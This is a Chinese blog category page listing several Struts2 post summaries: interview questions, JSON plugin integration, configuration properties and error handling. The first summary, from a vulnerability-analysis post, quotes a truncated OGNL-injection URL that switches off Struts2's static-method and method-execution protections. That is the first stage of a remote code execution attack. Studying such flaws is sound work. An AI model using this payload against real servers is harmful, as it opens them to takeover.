文章分类 -  Struts2的一些整理

摘要:Struts2漏洞分析当在浏览器输入如下地址时: http://www.xxxx.com/aaa.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))& 阅读全文
posted @ 2014-02-27 18:13 教程学习
摘要:2、介绍一下STRUTS1与STRUTS2的区别,及其优点。【英泰伟业科技(北京)有限公司】3、说说Struts2的工作机制。【民安信科技】1、谈谈你对SSH的理解以及他们是如何整合的。【民安信科技】3.谈谈你对SSH的理解以及他们是如何整合的 【国网电科院国电通集团】 6三大框架中你认为那个框架最好,为什么?【国网电科院国电通集团】 1.struts2的流程给画出来 7,Struts工作机制?为什么要使用Struts? 8,Struts2的标签 阅读全文
posted @ 2014-02-27 18:08 教程学习
摘要:struts2与json的整合 1、步骤 1、导入jar包 struts2-json-plugin-2.1.8.1 该jar包的根目录有一个struts-plugin.xml文件 从该配置文件可以看出: 1、自定义了一个结果集json-default 2、有一个拦截器json 2、在struts2的配置文件中 注意: 1、结果集的类型是json 2、因为是ajax请求,所以不需要返回任何页面,所以result中间没有内容 3、在acti... 阅读全文
posted @ 2014-02-27 18:07 教程学习
摘要:1、struts2是一个mvc框架,是struts1与xwork的结合体2、struts2的配置文件 1、文件类型 最常用的配置文件有 default.properties struts.i18n.encoding=UTF-8 设置默认的编码字符集 struts.multipart.maxSize=2097152 默认文件上传的大小 struts.action.extension=action 默认的扩展名 struts.devMode = false 是否是开发模式 struts.ui.theme = ... 阅读全文
posted @ 2014-02-27 18:06 教程学习
摘要:1、struts2的错误处理 1、java的错误处理 如果方法有异常,两种解决方案 try 抛出异常 2、UserAction(saveUser throws Exception)--->DefaultActionInvocation(invoke)--->DefaultActionProxy(execute) ---->Dispatcher(serviceAction) 3、在serviceAction方法中: if (devMode) { catch (ConfigurationException e) { // WW-2874 Only log error i... 阅读全文
posted @ 2014-02-27 17:57 教程学习